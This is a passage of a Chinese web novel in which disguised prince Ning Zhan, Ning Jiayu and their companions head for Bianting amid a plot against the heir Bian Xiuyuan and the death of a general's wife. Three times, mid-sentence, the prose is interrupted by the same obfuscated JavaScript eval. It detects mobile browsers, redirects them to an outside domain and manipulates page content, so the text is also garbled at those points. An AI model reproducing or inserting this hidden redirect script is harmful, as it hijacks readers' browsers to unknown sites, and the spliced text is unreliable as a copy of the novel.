“你们天生丽质的小姑娘，仗着年岁小，偏不爱遵老祖宗那一套法子来。这样下去，咱们步溪的美貌早晚要丢呀！近些，近些瞧。知道这是什么好东西？” 宁佳与踩着鞋袜随女人来到方桌边，桌上有盆她捞了几下的清水。 她手肘搭在桌沿，看女人展示白瓷小罐，奇道：“什么呀？” “嘿，不知道罢！这个，叫作八白香——” 女人自信揭封，罐里装着米黄粉末。她将少许粉末倒上手背，用清水化为乳膏状，最后两指点膏，贴宁佳与的双颊揉开。 “不但可以洗净你的小脸蛋，另有润泽肌肤的效用，更能防斑斑点点及某些瘙痒之症。可惜原料不好找，价钱跟着涨上天，寻常人家一辈子摸不到，是货真价实的稀罕物！” 白瓷罐平平无奇，宁佳与观之分明不像难得物件，何以稀罕？ “敢问婶婶，原料为什么不好找？就算不好找，自己种不行么？” “欸哟，姑娘！”女人大惊失色，忙摆动另一只空闲的手，压声劝道：“这八白香好是好，原料可不兴种！那是官家明令禁的东西。” 言尽于此，满面热情的女人抿了嘴不多解释。宁佳与直觉问不出来因去果，则另辟蹊径道：“这般珍贵，婶婶是富贵人家的儿女吗？否则把八白香给我一个素不相识的客人用，未免太过慷慨了不是？” “哪里呀！这——”话音戛然而止，女人忽然正经道：“这是我家中祖传的，不舍得使，指不定明日就坏了。给你一个漂亮的小姑娘用，好过砸在罐里。” “这......”宁佳与挑眉，难以置信，“也能祖传？” “怎么不能？” 说罢，女人毫无征兆提速，三两下洗净宁佳与的脸蛋，随即拎起妆奁溜之大吉。 宁佳与坐方桌旁，正对房门，神意复杂。 她望着女人背影远去，复望宁展紧闭的房门，勉强相信那位热情的婶婶深夜到访竟真是为她梳洗而已。 82. 易容 翌日，蛙鸣蝉噪，晨光落榻前。 酷暑磨人，宁佳与埋于枕间满额细汗。即便如此，她依然睡得安恬。 她有个好师父，师父赠的福气久久不散，师父的药也永远灵验。 今天之前，宁佳与还在思索，世上真有人或物能打败师父玄之又玄的高招吗？ “......姑娘？与姑娘？” 许是有的。 “时辰不早了，与姑娘。与——” 对付她，恐怕没什么招数比大清早堪当催命的叫早声更狠了。宁佳与掀开凉褥，神色苦大仇深。 她认栽似的将自己从床上拔起，耷拉着眼皮，头顶鸟窝去应门。 “......柳姐姐？”宁佳与揉开眼，诧异道，“你怎么，会在这儿？！” 宁展后半夜犹与她质疑柳如殷居心，现下就大剌剌把人放进了青竹暗桩？ “我们先进屋。”柳如殷递上手中的食盒，匆匆牵宁佳与落座。她快速为宁佳与梳理长发，边忙边说：“抱歉与姑娘，事发突然，不得已扰你清梦。盒里是街边买的早点，待会要启程赶路了，先垫一垫肚子为好。” “赶路？出了什么事吗？”宁佳与移盒盖往里瞧，怎料早点却是昨日一个劲胡吃海塞的桂花糕。她索然挪回盒盖，难为情道：“柳姐姐，我自己梳洗就行......” “景公子近来饭点都习惯到厨间寻我了，与姑娘何必同我见外？我既有手艺，闲着才是浪费，南行路上还要劳大家多担待。” 无论烹调还是梳妆打扮，皆是柳如殷十分拿得出手的技艺。说话便给人从上到下收拾得利落齐整，末了她也不忘系好宁佳与的幸运结。 “今晨，元公子派人告知以宁兄弟须即刻启程，马车将我们送到这里与你们汇合。是为什么事，元公子没说，我以为他同你打过招呼了。” 宁佳与蹙起眉，心中揣测宁展的盘算，动作却不耽搁片刻。她绑紧墨靴丝絇，收起枕边的竹簪，提了食盒，马不停蹄跟着柳如殷往外走。 “以宁兄和景公子呢？”宁佳与四下望，庭院似夜静若无人，连宁展也不见。 两人跨过门槛，近青竹马车，舆内仍未照常传来景以承“吱哩哇啦”的声。 “景公子怕长途枯燥，道是要采办些新书路上读。不过，适才唤与姑娘费时良久，两人按理该回了......”柳如殷左顾右盼，最终拍了拍宁佳与的肩，“与姑娘先上车罢，我去书肆找找他们。” 柳如殷前脚走了，帷帘内飘出几声清晰的嗤笑。 宁佳与一听即知里头坐着哪尊大佛，那嗤笑的含义更是明确。 她气冲冲掀帘上车，屁股没坐稳就朝对方扬下巴，道：“笑什么？有什么可笑！如非元公子昨夜偏带我到此开‘茶会’，我今日至于起不来床吗？” “但小与并未回绝我的邀请啊，真是教人有冤无处诉。” 宁展乐呵呵看宁佳与在对面坐下，抬眼注意到她颅顶单束着条发带，敛了笑意。 “是赶得太急了？怎的没佩上簪子？” 毕竟宁佳与才宽慰宁展那两道划痕算不得什么，这会儿无端弃而不戴，本就自责的宁展很难不多虑。 “收在这了。”宁佳与指尖点在左胸口。 竹簪与柳如殷的耳坠都被她仔细装入内袋，绝无偏颇，宁展直白的目光却让宁佳与莫名心虚。 她果断错开视线，敲响腿上的食盒，言之凿凿：“您没头没尾催大家赶路，我哪知此行会遇上什么。好歹是您一片心意，不得好生保管么？丢了，在下没准要成坊间罔顾君心的千古罪人。” 宁佳与分明是严肃与玩笑混着念叨的调子，宁展径自较真起来：“既情有可原，谁敢不辨青白苛责于你？只要这天下有我的容身之所，借假象摆布百姓的丑类就不能有立足之地。” “真的？” 宁佳与相信宁展会是这样一位值得同行的掌权者，也忍不住追问。她堪堪举目，则忽然发现了宁展今日的反常。 “你......为何又把这假皮戴上？” 即是大家和宁展的真容相处两个月后，他不声不响扮回了那张于景以承、柳如殷、宁佳与三人而言几至陌生的脸——真正面若菩萨，和眉善目的嘉宁大殿下。 “脸是假的。我此番说的话，都不是假的。” 宁展不解释易容缘由，却郑重回应宁佳与顺口一问。他缄默半晌，非得宁佳与点头表示听到了，才开口接着说。 “托某些人的福，目前全七州皆知嘉宁少君南下‘暗访’了。此消息局限于三大暗阁内部，‘元公子’的身份或许还有意义。暗访已不是暗访，瞧着这张脸，那群包藏祸心之人反而无法妄动。一位颇得民心的贤君横死，且不谈父王如何，凭嘉宁大殿下的名望便要掀起不小风浪。” “那......”宁佳与无奈埋首，“的确是戴着较为稳妥。” “嗯。”宁展半笑不笑地打量宁佳与蔫了，歪心思一下活泛起来，“就是有一点不好。” 宁佳与没抬头，随意敷衍：“哪点不好。” “视野不大好。”宁展稍弯腰，抱臂抵着双膝，自下而上和宁佳与相视，“有些日子没戴，假皮扯着眼，实在别扭。今后的路不甚平坦，烦请小与姑娘离我近些，簪子丢了无妨，人不能丢。” 宁展万事均可以往心里藏，只青涩难掩。先前面对宁佳与调侃尽落下风的纯情儿郎，此刻甜言蜜语张口就来了。 宁佳与觉出宁展逗乐的意思，睨他一眼，相应不理。 意外没讨着丁点儿好，宁展自觉无趣，遂打直身板靠回车壁，道：“你这盒子盛的什么宝贝，至于捧在怀里？” “糕点。”宁佳与简洁道。说罢，她忆起以宁提及宁展喜甜爽。 她对桂花糕暂无兴趣，指不定宁展愿意尝一尝呢？ 慈幼庄声声诵读回荡脑海，宁佳与破颜微笑，不管糕点是否满足甜爽，好心推荐道：“是桂花绵绵糕，甜的。元公子试试？” 桂花绵绵糕。 宁展听着这名就烦，也不知出自谁手。 桂花糕就桂花糕，还绵绵，撒哪门子娇？ “宁佳与，可否劳驾你莫要镇日摇摆不定？闹得旁人心——闹得旁人心烦。” 宁展难得连名带姓唤她，架子端得硬气，却是低眉瞪着宁佳与脚下踩的墨靴，余光也不敢接触她。 “......啊？”宁佳与木然，“我怎么摇摆不定了？” “昨日喜辣，今日喜甜。朝令夕改，手下的人如何置办饮食？”宁展义正辞严。 宁佳与真想叫白歌来替自己翻两个上天的白眼，懒得跟宁展讲道理，直呛声：“元公子又不是置办饮食的手下，因这个动气是为哪般。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951498|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我替以宁动气不成？”宁展口快答了，紧着反驳：“谁说我气了，这是打抱不平。” “元公子作为主家还挺仗义。” 宁佳与面上道佩服，则腹诽以宁兄知道他的主公这般感人吗？ “那是。”宁展拣了几分底气，思及与她结义的提议没得到答复，拍胸脯道：“我身在何位都很仗义的。” 直觉和外头的吵闹告诉她，时辰差不多了。宁佳与笑笑，不怀好意道：“那身为人师呢？” 宁佳与对宁展临时起意为人师的谋算一目了然，宁展也清楚宁佳与把他的私心抿得大差不离。 旁人能否明白、接受，就未可知了。 宁展以为她使故伎打岔，不介意耐着性子随之绕弯绕个够。 除非宁佳与直觉太准。 “诶哟喂！上邪——” 景以承一骨碌闯进乘舆，帷帘眼前盖，大包袱胸前搂。他郁闷地扯下帘子，正想开口讨公道，岂料迎头与两人三脸相对。 “——欸，小与姑娘在啊......”景以承盯着眼生又好像在何处见过的面孔，“这位是？” 宁展收着气，动腿挪至主座，给景以承腾位。 以宁就手一推，“请”景以承上了座，再挑帷帘让柳如殷先往车里进，自己最后坐定景以承身边，位于宁展右手。他眼神得令，拍响门框，对外知会：“启程。” 宁展挤出笑靥，道：“景兄，我是——” “世子老师？”景以承抢答。他转视自己右侧，兴致勃勃请教以宁：“我答对了罢？” 以宁十分规矩地给宁佳与递其留于偏房的包袱，后别过头去，些微良知为没眼色的景二殿下无声祈祷——祝好运。 “答对了。”宁展趁宁佳与收捡行囊，顺手拿过那食盒搁景以承腿上，“来，你的奖品，再接再厉。” “多谢元兄！”景以承心绪大好，甚至忍住了打开盒盖的好奇心，“这里头是何物？” 宁佳与斜着宁展，为景以承解答：“桂花绵绵糕。” “哦？是小与姑娘昨日一口气吃掉大半碟的糕点？这临行也要捎一盒，”景以承左右端详，小心揭封，“果真如此美味？” 不待奖品露头，宁展改了主意，夺回食盒抛向以宁。此举惊得景以承圈住包袱朝车壁倒，生怕食盒飞过碰坏自己满兜子宝贝。 以宁接稳食盒利落往帷帘外放，当是给驾车的同僚加餐了。 “这......”景以承迷茫不已，本欲求解，然一瞧见那张新鲜面孔便跑了偏，“元兄，你这脸，是怎么一回事啊？” “今岁之前，景兄只与我见过两回，印象必定不深。我从小戴照这张脸逐年调整的假面，便是用了——” 宁展言语毫不避讳，若有似无地往左侧瞥，视线落回右侧的景以承身上。 “易容术。江湖中深谙此术者，景兄还记得多半是哪一方势力？” 诚如宁展打趣，景以承夙日缺心少肺，关键时刻懂得衡量轻重缓急。他清楚自己几斤几两，乍闻这冻菽乳[1]般令人难办的易容术完全傻眼。 他无暇考虑宁展出的难题，满心在想蜚英腾茂的嘉宁大殿下以假面示人十好几年——是他可以听的事？！ 景以承垂眸乱瞟，急得把虎口掐出红印，对座传来应答。 “我知道。” 83. 虎口 寥寥三字，于景以承而言简直是响彻空谷的天籁之音。他放心抬头，准备坐观足智多谋的小与姑娘大显身手，却听宁佳与道：“是迎柳阁，对不对？” 宁佳与眉开眼笑，俨如真的只是想说出个合理答案。 “对。”宁展道。 二位肚子装坏水晃到同处去的倒是赏心乐事了。可怜景以承登时结成一尊龟裂的石像，在边上“咔啦”粉碎。 景以承调整好眼睛鼻子嘴，悄悄瞄以宁。 除了碰面后发生争执那几回，以宁就是块儿成天无故板着脸的木头。但自以宁非要给他敬茶，曾经的愤愤不平皆被那盏茶一笔勾销了似的，以宁极少再与他吵嘴，要看到木头脸有些寻常没有的波动更加困难。 此刻，他竟从以宁眼中瞧出了鲜明的忧虑。忧虑所达，恰是柳如殷裹得严实的手腕。 以宁的反应，让景以承逐渐坚信猜测——宁展果然对柳如殷心存芥蒂和防备。 其实他对柳如殷始终没什么意见，甚至因为漫长路途得这样一位热情的伙伴同行而感激。然尽管柳如殷抱病为由置身事外，他也不难发现，凡遇上要紧事，宁展便会有意无意避开柳如殷。 是以宁佳与生辰当日，他多么急于把到手的步州令交与宁展，都得挑个柳如殷必定不在的时机。 如今宁展却一改常态，猝然将隐匿多年的秘密公之于人前，这就意味着宁展对柳如殷不仅是心存芥蒂与防备了。 他记得，世子老师早年在文中写——经邦济世与待人接物至关重要，均不宜打毫无筹备之仗。否则非家国危殆，即玉石俱焚。 主动出击，代表宁展至少有八成把握。故以宁罕见地形于颜色，许是担心所致，抑或是种变相的求情。 “可是......”景以承攥着包袱一角，万分纠结，“元兄现下将真容与假面换来换去，倘若让、让人抓住把柄造言生事......” 宁展单手抵着下巴，微微摇头，轻声道：“他们不敢。” “不敢？”景以承不意宁展的把握会是这个说法，“为何不敢？” “迎柳阁擅易容，要向世人证明我容貌作假且如此逼真，来说易如反掌。但他们如何证明？” 宁展注视着宁佳与，余光没放过其身侧的柳如殷。 “撕下这张脸，我还是为百姓亲力亲为的嘉宁大殿下，做过的好人好事历历可考。纵使公堂对质，个中细节亦无人比我清楚。他们呢？舍得为揭穿于我相对无伤大雅的谎，当着全天下交出墨川的易容术么？” 迎柳阁、墨川王室没法冒险交出易容术，实与听雪阁、步溪王室不能道出那施人血与巫咒为引的药方道理大同小异。 权因一个“独”字。 不过，前者是独门之独，后者则是阴毒之毒。 景以承双耳车内听，脑子却在车外飞。 他努力理解字里行间的利害关系，终究按捺不住那颗偏离常轨的好奇心：“易容术是迎柳阁独门秘法，那元兄又怎么得到那些逐年调整的假面？” 依着私底下宁展“这厮”“那厮”的态度，若说迎柳阁与青竹阁之间有密切不断的合作，反正景以承不信。 “过去数十年，我屋里的铜镜无不是照墙面落灰。若非必要，”宁展煞有介事地叹，“我也不想镇日戴着这张太过逼真的面具。” 宁展记事后，仅仅在以宁为他装扮时瞥过一眼镜子。 他不接受镜中人是自己，可假面真致他今岁对镜撕去易容，分明看着娘胎里带的脸，竟觉陌生无比。 唯有潜意识那声对自己说的“许久不见”提醒他，见过韩舒颜的宁元祯，是他真正的样貌。 以宁了解宁展不是爱倒苦水的主子，此番突兀倾诉，多半是特地说给在座的某个人听。 谈起易容术，宁佳与近乎是瞬间读懂了宁展转守为攻的策略。放任柳如殷在密文诸多的青竹暗桩内走动，实为蜻蜓试水的第一步。 两柄利刃同时立于危境，并肩作战或是最好的出路。至于化险为夷之际是否自相残杀，那是眼前不遑顾虑的后话。 “若他们真的敢呢？”宁佳与接上宁展的步调。 “也是，话总不好说绝了。毕竟泼天的富贵，多少不是险中求来？为着家财万贯、封侯拜相、称王称霸，世上有得是人乐意干那虎口拔牙之事。” 宁展终于转向柳如殷。 “对吗？柳姑娘。” “元公子高看我了。”柳如殷夷然自若，笑面得宜，“民女没见过世面，哪里懂那样复杂的东西。” “不懂？以宁，莫非你还未告诉柳姑娘，”宁展正色道，“近日发生了何等大事么。” 柳如殷神色微滞，眼底隐约闪过疑虑，却非是疑宁展半吐半露的言辞。 她不着痕迹躲过利刃，只顺着宁展的话问以宁：“什么事？” 以宁沉住气，平淡道：“州学学生群情激愤、大张声讨，汴亭世子不日便要从司圜[1]手下转押往刑部大牢了。” “这......”柳如殷想说什么，又及时闭了嘴。她愁颜未展，心中是为适才选择见机行事的自己舒一口气。 宁佳与倚靠车壁，环起双臂。 比起发愁，她更觉着以宁口中的大事离谱得略显失实，于是道：“虽说汴亭是七州尚文轻武之风最凶的地界，要论一个人的罪，也不能全凭学生们说了算罢。朝廷文官呢？就这么由学生用唾沫星子将一州王储推入刑部大牢？” 宁展十指交叠，掌心相对，貌似不经意道：“小与不先问问这位王储犯了何等大罪吗？” “真是要抄家问斩的大罪，人合该从掌囚[3]手底下走，或是开头便直接交与刑部审理。何苦拐着弯，折腾旁人，”宁佳与声息稳当，虎口却不自禁掐紧了胳膊，“折腾自己。” “小与说得是。人前脚在司圜，他们给汴亭世子卞修远定的罪，至多是有悖‘忠孝节义’的失德之名。后脚草率入狱，文官对不公的裁决视若无睹，不是想独善其身，即是——” 宁展伸出食指，导向朝天。 “有人不让管。” “不让管？！”景以承大惊，心道汴亭可能左右文官何去何从的，不就是受众才子拜服的缙王吗？ 卞修远乃汴亭王室旁支过继到缙王名下的子嗣，非其至亲骨血，但缙王与继嗣之间出奇和谐。二者皆为鹤立士林的高才，可谓既父子又是文友。 昔日，先生时常誊汴亭名手所著的诗词与景以承鉴赏，其中正有这父子二人联袂而书的雅作。卞世子之风韵飘逸大方；缙王则多为缠绵蕴藉，其中似有隐隐哀婉。 那般洒落与婉约的碰撞，别有一番滋味。 怎就到了缙王置卞世子于不顾的地步？ “缙王为君温良，为父慈和，向来十分满意卞世子，如此行事的理呢？卞修远可是四小州仅存的王储啊......莫非缙王盘算了新的人选，意借此废储？！” 缙王对卞世子的满意确是不可胜道。 观文采，缙王足矣同元氏并驱争先，儿子比老子还有才，换作哪位父亲都免不得引以为豪。故卞修远非但是四小州唯一登上储位的王室血脉，亦是七州唯一越过少君晋封元储的世子。 恰因卞修远有过身披万众瞩目的荣光，现下千丈深渊说跌就跌更令人唏嘘。 景以承深感人心叵测，为卞修远感慨，不忘佩服自己琢磨问题的速度突飞猛进。他迎面对上宁佳与意外的眼神，越发自信。 “缙王是很喜欢卞世子。但今日的汴亭，”以宁看了眼宁展，“不归缙王管。” “汴亭易主了？！”景以承握住宁展手肘，吃惊道，“元兄，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976596|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是何时的事？我完全没有耳闻！” “景兄不曾听闻才对。汴亭明面上仍未易主，是缙王的权位被人架空了。”宁展并不打击景以承，反而开解道：“若我推断不错，那些人有所行动时，景兄在书院闭关。” “汴亭本是七州众清流墨客公认的安身之地，缙王的才情及其礼贤下士之心有目共睹。武将插不上朝堂的话，那便是文臣所为——”景以承手握成拳，“他们不念往日提携之恩也罢，偏与德才配位的君王夺权？难道想亲手毁了汴亭吗！” “景兄莫急。” 宁展伸出手掌一勾，以宁呈上水袋。 他不渴，转手递给了景以承，意在浇灭景以承莫大的火气，省得马车驶离了步溪城，还让些耳听八方的鸟将几人谈话尽数叼回巢去。 “天气燥热，里边儿是解暑的豆汤，景兄尝尝滋味。” “哦，好！”景以承拔塞子饮得畅快，末了咂巴两下嘴，认真道：“清甜利口，果真解暑！” 见景以承平复，宁展不紧不慢接着说：“他们为何架空缙王，目前无从得知。好在步溪驾车赶到汴亭，昼夜兼程不过八、九日，届时一切都明了。只是青竹阁回报，前路或有山匪劫道。汴亭城郊匪患格外猖獗，大家多留心，遇事切勿擅自行动。” “啊？！汴亭那山清水秀的地儿，怎的像是一夜之间成了炼狱......”景以承堵紧水袋，不安道：“元兄，此行必须途经汴亭吗？我们不会死于非命罢？二十一岁才算踏出宫门，好容易遇着几个朋友，我不想死这么快......” 换作平常，宁佳与早被这番话逗乐了，时下却是由衷敬佩景以承。 伤心惨目，固然是记忆长河中尤其晦暗的一片景。但她的童年，先有阖家欢乐，再有同门相伴，合成万千颜色，得以疗愈见血的旧伤。 宁佳与好几次不敢想，若自己是景以承，世上首先迎接她的就不是稳婆，不是母亲，而是铺天盖地的污名和谩骂。 深宫禁足，背负夺人手足的愧疚和六亲无靠的落寞长大，景以承依旧长成了温暖、单纯的模样，那是另一种她力不能及的强大。 “景公子放心。我们齐心协力，过汴亭还不是和饮豆汤一样简单？”宁佳与道，“保准让你少不了半根头发。” “真的吗？”景以承不觉得宁佳与是宽慰他，惊喜道：“大家都会保护我吗？” “当然。”宁佳与道。 柳如殷也欣快作答：“我派不上大用场，偶尔做些景公子爱吃的烧饼和肉糕不成问题。” 以宁在宁展无声的凝视中点了头。 “对了。”宁佳与蓦地看向宁展，“汴亭祸害，依元公子的性子自然会管。可匪患、□□，以及缙王父子的处境，皆为汴亭久病，是赶这三朝五日无从根治的顽疾。公子着急启程，究竟出于何故？” “瞒不过你。” 宁展笑应，却没想过隐瞒此事。从宁佳与上车那一刻，他便开始等了。 等宁佳与亲自打开话匣，等心有灵犀的神意碰撞，等宁佳与无数夺目的时刻之一。 他喜欢价值连城的等待，且得珍藏。 “起初我也不解。常年自诩深明大义的文臣百般针对一位高风亮节的世子，于公于私落不着好。卞世子将至刑部大牢的消息不停掀起新浪，我才想明白——他们容流言中伤卞修远，如卞修远来日绝境逢生，不单汴亭学子愧悔无地，全七州的怜悯心都会倾向无辜而坚贞的好儿郎。不惜涉被声誉反扑之险暗害卞修远，就是适间提到的，为求富贵虎口拔牙者。” 宁展笑意已淡，视线依然跟着宁佳与。 “大权握在他们自己人手中，要稳住名不正、言不顺的权位，排除异己必不可少。我私以为，此举图谋的第一箱黄金，便是从人山人海中把唱反调的另类通通钓出来。” 84. 蛀虫 “公子方向这般明确，想是摸到蛛丝马迹了？”宁佳与推究道。 “何啻蛛丝马迹啊。”宁展轻笑，“汴亭那群老家伙瞧着斯文，实际钓竿甩得比笔杆子猛，渔钩都钓到舅姥爷头上了。” “......嗯？”宁佳与一时未想通这其中密不可分的干系。 景以承忍不住接腔：“元兄的舅姥爷，是元铭意老先生？元氏沉寂多年，我以为这辈子听不到元家人的消息了！元老先生可——等等，汴亭朝臣竟敢欺负鼎鼎大名的青钱学士[1]？！” 宁展扯了扯嘴角，心道元家是隐退，在景以承口中像被人赶尽杀绝了似的...... 说起青钱学士，还是琛惠年间因着元家誓不入宦途之志，琛惠帝连日叹惜，执意提笔赠予元铭意雅号才算完事。以此赞其文章有如青钱，人人喜爱。 元铭意一开始就不想背上所谓的雅号，从前没得选，今琛惠帝已去，却是如何也摆脱不掉了。 先帝昔年挥斥八极，这名号自同受众星拱月。放在宁琛千夫所指的当下，倒真有对元家赶尽杀绝的意思。 “元氏声誉不复昨日，但威望再低，清风犹在，总是有慕名来的追随者。只要元家一日不归顺玩权弄势的官吏，便仍有领天下文人揭笔杆而起的可能。”宁展冷静道，“加上卞修远是舅姥爷门下尤其出色的学生，士林中数一数二的贤能君子，为人温蔼更胜其父。因此，就成了那群私党推涛作浪最趁手的鱼饵。” “那卞世子的罪名......也是他们设计构陷。”宁佳与有些不快，口吻硬是将疑问转作陈言。 “尚不确定。汴亭大街小巷的是，卞修远名下私塾存了不少淫词艳本。他顶着误人子弟之罪被衙役带走，尔后转押刑部，”宁展停顿片刻，接道：“则是论他与人私通之罪。” “与人私通？”宁佳与困惑道，“莫非那人权位在汴亭世子之上？” 于极重笔墨的汴亭，“通奸”至多处臀杖九十，远不如“误教”处十年徒刑或流放边陲罚得重。 若非诸如学士与位高权重者私通此类堪震七州的丑闻，宁佳与这会儿想不出两条罪责颠倒处置的缘由。 “对方是位将军夫人。汴亭如今最不待见的，”宁展略显喑哑，“就是与武沾亲带故的人。” 其实嘉墨元年起，尚文轻武的地界便不止汴亭了。 “这般说，他们要成事，原该咬死卞修远误人子弟，给那案牍平白添个虎头蛇尾的‘私通’就想把人打入刑部大牢，未免太过牵强。可眼下适逢风口浪尖，学生激愤上脑，对‘歹人’一定恶积祸盈的思路深以为然。那浑水，文官搅得有恃无恐。” 宁佳与嗤之以鼻，思路益发清晰。 “所谓私通罪，背后藏着他们急需改弦易辙的根本。” “不错。这根本，青竹阁前几日着手查了。”宁展瞧见丧眉耷眼的以宁，道：“阿宁，汴亭那边有无新消息？” 以宁恍惚抬头，道：“殿下，抱歉。” “有什么抱歉的。”宁展习以为常，“再等——” “不是，殿......”以宁摇头，“不是，公子。您方才吩咐的话，我没留神听。” 宁展眉梢微挑，要不是知道以宁从未易过容，他几乎想拔剑刺过去探这频频反常之人虚实。 “我是问，”宁展瞥了眼柳如殷，耐人寻味地重复：“汴亭有无新消息。” “那位将军夫人......已经，”以宁深吸一气，“过世了。” 宁佳与和景以承倏地转身，齐齐面向以宁。二人惊得说不出话，心里更不敢往下想，屏息干等。 “何时的事？”宁展脸色凝重，却是在座必须平心静气往下想的人，“将军的姓名、年龄、身世和籍贯，查到了？” “查到了。正值而立，军户出身，汴亭人。家中父母早逝，无儿无女，独有一妻。将军姓......” 分明是与寻常交差别无两样的汇报，以宁不住颤声，尾音苦涩。 “姓名，公孙岚。” 公孙岚。 宁展终于认清以宁上车后黯然神伤的缘故。 不可否认，那里头有他言语刺探柳如殷的影响。关键，是这位公孙将军。 - 以宁打小就跟屁股上长针一样，熏香袅袅的案前坐不得半刻，常是医书翻了没几页便摊至宁展手边，自己踩着内院清净无人的空档打拳耍剑。 墨川韩氏兵法激进，军中练的功夫却十分保守，是以不论打拳耍剑，属汴亭郑家军简单精悍的招式合以宁心意——主要还是汴亭军中所著册本多为图谱，于以宁比长篇策论看着舒服多了。 嘉宁，层楼累榭，王宫威严大气。先帝的泱泱皇城，周岁小儿举目无亲的他乡。 大殿下尚在襁褓，以宁也才学会爬。但他不能只会爬，好像生来就要跑在大殿下身前，为其挡下一切未可知的隐患。 小个子腰间坠着举不稳的长剑，瞧文怀王后亲昵地给大殿下佩花戴环，他心里怨过。成日在宫里跪这拜那，遇上再矮的芝麻官他都学着见礼了，就是没能给自己的血亲磕过头。 彼时，他又何尝不是需要父母爱护的髫龄稚子？ 然幼年的宁展近乎和如今的景以承没什么两样，缺心眼。他从不拿以宁的苦瓜脸当回事，朝夕相处权当没看见，还要冷不丁揪来几只飞虫同以宁一块玩儿。 以宁被烦得不行，大殿下读书练字，他便在书院外对空气拳打脚踢。 后来沾着宁展的光，以宁得了初次回墨川省亲的机会。他满心欢喜动身，孰料堪至王宫，就为大殿下挨顿家法。 明面是舅父管教外甥的阵势，实则齐王身边的阉人个个下手极阴极狠，左右轮流把宽过腰的木杖往屁股招呼，力道说毒打不为过。 以宁扑宁展背上扛板子，奈何小孩儿身量撑不起大英雄的心，两人没谁幸免，一个皮开一个肉绽。 他本该恨死宁展。 天知道金尊玉贵的大殿下自己未痊愈，一到嘉宁吭哧吭哧先搬两大摞小人书给他。那都不够，大殿下没伺候过谁，执意亲自替他上药。 惹祸精嬉皮笑脸凑跟前，竟将以宁最初滋生的怨念消解大半。 兴许，他没有自己想象的讨厌宁展。 药是墨川韩家军当年随先帝御驾亲征用的金疮药，书是汴亭郑家军麾下绘的武籍图谱。而五岁的大殿下，是面热、心更热的倔脾气。 以宁年岁尚小，对以家受过多么深厚的恩泽体会不真切。除去墨川和景安寄的家书，意外收获的图谱和金疮药，即是支撑他坚定前行的劲头。 挨板子的伤养好了，他无事就对着武籍图谱比划，连扎马步也是半吊子，架不住练起来浑身痛快。他恨不能立刻把书上的招数一口气学尽，做梦都劈掌打木桩。 那些令以宁着迷的图谱，正是宁展在元叶的寿辰上为在座贵客赋诗写字，以此恳求元叶问缙王向郑家军年纪轻轻便是车骑将军[2]的公孙岚请来。 - “将军夫人，年方二十，名不详，在卞修远名下私塾常春堂教书，街坊邻里皆称她为常先生。” 以宁抬手握上剑柄，呼吸平稳了。 “死讯很快在常春堂附近传开，暗桩收得消息，急报当天发出。是以信中落款日期，就是常先生去世的时日。到现在，整整六天。” “消息当天传开，汴亭至今没有关乎此事的声音。我竟不知，”宁展挑开窗幔，“汴亭命案已不如那群人嘴边的误教与私通要紧。” “密报上说，邻里因常春堂内的惊叫出门询问之前，公孙将军托人报了官。衙役领仵作来验尸，仵作称，常先生乃是气急攻心，且头部受创失血过多致死。事发，恰是常春堂散学，常先生独留堂内读信的时候。” 以宁从腕间臂缚内取一纸暗黄，交与宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991796|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展。 “几个妇人在门口等孩子，听塾里响动赶进讲堂。常先生昏迷倒地，后脑磕出了血，掌心握着揉成团的信，吓晕不少学生。学生们家中早对常春堂查获淫词艳本颇有不满，这下非得讨个说法。可人......没了，能跟谁说道。衙役把常先生去世之责归于写信的卞修远，并承诺将其转押刑部大牢，众人才肯作罢。” 那展开约一掌宽的信纸，宁佳与的位置可以瞟到，却因上面的字密而小，又是杂乱无章的排列，她没读出什么名堂。 宁展不费时逐句通读，跳着看，狐疑道：“常先生的遗体不见了？” “是。衙役着急问司圜拿人，恐卞修远拒不认账。但他不仅认这糊涂账，对转押刑部大牢的裁断应得更爽快。卞修远只一个条件，要求当面向公孙将军赔罪。” 以宁参不透公孙岚和卞修远，于是景以承磨磨蹭蹭挑话本时，他隐在暗处把今晨取的密信读了一遍又一遍，内容滚瓜烂熟，时下不消翻看就能替宁展梳理重点。 “司圜不能放囚犯离开，则命手下给将军开了门探视。下士忧心卞修远趁隙逃狱，看管严，咱们的人很难靠近，不知他们谈了什么。公孙将军返回常春堂再度报官，为的便是安置于落锁书房的遗体凭空消失了。” 宁佳与腹满腹疑云。 “凭空消失？嘶......”她拭去额角的汗，昨夜红肿处见好，马虎一碰却是疼的，“这么邪门，你信？” 宁佳与侧首，问的是宁展。 